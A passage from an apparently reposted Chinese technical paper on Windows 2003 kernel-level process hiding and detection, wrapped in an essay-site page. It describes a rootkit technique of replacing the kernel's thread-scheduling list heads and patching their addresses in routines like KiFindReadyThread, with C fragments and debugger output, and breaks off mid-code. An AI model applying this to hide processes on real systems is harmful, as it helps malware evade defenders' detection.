| 网站首页 | 范文 | 演讲致词 | 汇报体会 | 总结报告 | 公文方案 | 领导讲话 | 党建工会 | 论文 | 文档 | 书信 | 
您现在的位置: 范文大全网 >> 论文 >> 计算机论文 >> 正文 用户登录 新用户注册
Windows2003 内核级进程隐藏、侦测技术           
Windows2003 内核级进程隐藏、侦测技术
);
通过上面的那一小段核心代码就能把删除活动进程链表的隐藏进程给查出来。也可以改写一个友好一点的驱动,加入ioctl,得到的进程信息把打印在dbgview中把它返回给ring3的应用程序,然后应用程序对返回的数据进行处理,和ring3级由psapi得到的进程对比,然后判断是不是有隐藏的进程。
4.绕过内核调度链表隐藏进程。
xfocus上sobeit提出了绕过内核调度链表进程检测。详情可以参见原文:
http://www.xfocus.net/articles/200404/693.html
由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。由于线程调度的时候会用到kifindreadythread等内核api,在kifindreadythread里面又会去访问kidispatcherreadylisthead,所以我完全可以把kifindreadythread中那段访问kidispatcherreadylisthead的机器码修改了,把原kidispatcherreadylisthead的地址改成我们新申请的头。
kd> u kifindreadythread+0x48
nt!kifindreadythread+0x48:
804313db 8d34d5e0224880 lea esi,[nt!kidispatcherreadylisthead (804822e0)+edx*8]
很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成dword就是804822e0就是我们kidispatcherreadylisthead的地址。所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。同理用到那三个链表头的还有一些内核api,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。不然系统调度就会出错.系统中用到kiwaitinlisthead的例程:kewaitforsingleobject、 kewaitformultipleobject、 kedelayexecutionthread、 kioutswapkernelstacks。用到kiwaitoutlisthead的例程和kiwaitinlisthead的一样。使用kidispatcherreadylisthead的例程有:kesetaffinitythread、kifindreadythread、kireadythread、kisetprioritythread、ntyieldexecution、kiscanreadyqueues、kiswapthread。
申请新的表头空间:
pnewkiwaitinlisthead = (plist_entry)exallocatepool \
(nonpagedpool,sizeof(list_entry));
pnewkiwaitoutlisthead = (plist_entry)exallocatepool \
(nonpagedpool, sizeof(list_entry));
pnewkidispatcherreadylisthead = (plist_entry)exallocatepool \
(nonpagedpool, 32 * sizeof(list_entry));

下面仅仅以pnewkiwaitinlisthead头为例,其他的表头都是一样的操作。
新调度链表的表头替换:
initializelisthead(pnewkiwaitinlisthead);
把原来的系统链表头摘除,把新的接上去:
pfirstentry = pkiwaitinlisthead->flink;
plastentry = pkiwaitinlisthead->blink;
pnewkiwaitinlisthead->flink = pfirstentry;
pnewkiwaitinlisthead->blink = plastentry;
pfirstentry->blink = pnewkiwaitinlisthead;
plastentry->flink = pnewkiwaitinlisthead;
剩下的就是在原来的线程调度链表上做文章了使其基于线程调度检测系统看不出什么异端.
for(;;)
{
initializelisthead(pkiwaitinlisthead);
for(pentry = pnewkiwaitinlisthead->flink;
pentry && pentry != pnewkiwaitinlisthead;
pentry = pentry->flink)
{
pethread = (pethread)(((pchar)pentry)-0x5c);
peprocess = (peprocess)(pethread->tcb.apcstate.pro

 << 上一页  [11] [12] [13] [14] 下一页

  • 上一个论文:

  • 下一个论文:


  • 看了《Windows2003 内核级进程隐藏、侦测技术》的网友还看了:
    [免费范文]LabWindows/CVI的应用特点
    [免费范文]基于RRAS与虚拟专用网技术在Windows中的实现
    [今日更新]巧用PowerPoint制作高中化学多媒体课件
    [今日更新]植树节英语作文:Planting Trees(植树)
    [今日更新]植树节英语作文:Planting Trees 植树
    [今日更新]基于WinCE的嵌入式网络通信系统设计
    [今日更新]基于McWill通信技术的油气智能测控系统
    [今日更新]Windows8是微软的翻身之战
    [今日更新]Windows8 LOGO发布,经典Windows LOGO回顾
    [今日更新]见招拆招 Win8使用无难题

    计算机论文
    普通论文国内外光纤光缆现状及发展趋势
    普通论文浅谈我国网络文化的现状及管理
    普通论文计算机网络管理维护探讨
    普通论文基于J2EE平台软件开发特点综
    普通论文Cisco路由器交换机的技术应用
    普通论文试论高职院校计算机应用基础课程
    普通论文虚拟专用网在企业中的应用
    普通论文试论中职学校《计算机应用基础》
    普通论文多媒体网络教学课件的优化设计
    普通论文试论青少年网络道德教育存在的问
    普通论文硬盘物理地址与逻辑地址的转换方
    普通论文论计算机网络管理技术初探
    论文
    普通论文[经济论文]浅谈新农村建设中农村公
    普通论文[经济论文]循环经济在煤矿企业修旧
    普通论文[今日更新]试论我国证券市场QFI
    普通论文[免费范文]街道办事处党工委书记XX
    普通论文[今日更新]新形势下农林院校物理学
    普通论文[免费范文]关于人力三轮车非法营运
    普通论文[今日更新]试论违反合作原则导致的
    普通论文[今日更新]论执政组织文化的内涵建
    范文大全
    普通范文[零八零一]环卫系统班长竞职演讲稿
    普通范文[范文大全]提升司法警察素质思考建
    普通范文[范文大全]对人事局干部作风建设的
    普通范文[先进性教育]保持*党员先进性教育心得
    普通范文[零八零一]-幼儿园宣传工作计划
    普通范文[先进性教育]党的先进性教育是具体的
    普通范文[范文大全]县贯彻落实《植物检疫条
    普通范文[范文大全]执法先进个人事迹材料
    演讲致词
    普通演讲[主持词]药监局创建和谐单位暨庆祝
    普通演讲[会议发言稿]中考百日誓师大会教师发言
    普通演讲[节日祝福语]中学生有关(Tomb
    普通演讲[主持词]庆国庆、贺中秋晚会主持词
    普通演讲[庆典致辞]护士节致词
    普通演讲[会议发言稿]在全县第二批先进性教育骨
    工作范文
    普通公文方案[企划方案]硬件展示策划书
    普通公文方案[公文写作]县级骨干教师述职报告(1)
    普通公文方案[公文写作]税务系统联欢会开场白
    普通汇报体会[征文演讲]2011年烟草企业三讲教育比
    普通公文方案[公文写作]幼儿园新教师成长计划
    普通总结[个人总结]电气试用期工作总结
    普通汇报体会[先进事迹材料]优秀教师推荐材料
    普通公文方案[公文写作]县运输管理所五整顿三加强
    普通总结[工作总结]推行校务公开制度工作总结
    普通党建工会[记要]小学体育教学个人工作总结
    普通总结[工作总结]县政协机关创建文明单位工
    普通汇报体会[先进事迹材料]镇纪检书记廉洁从政先进事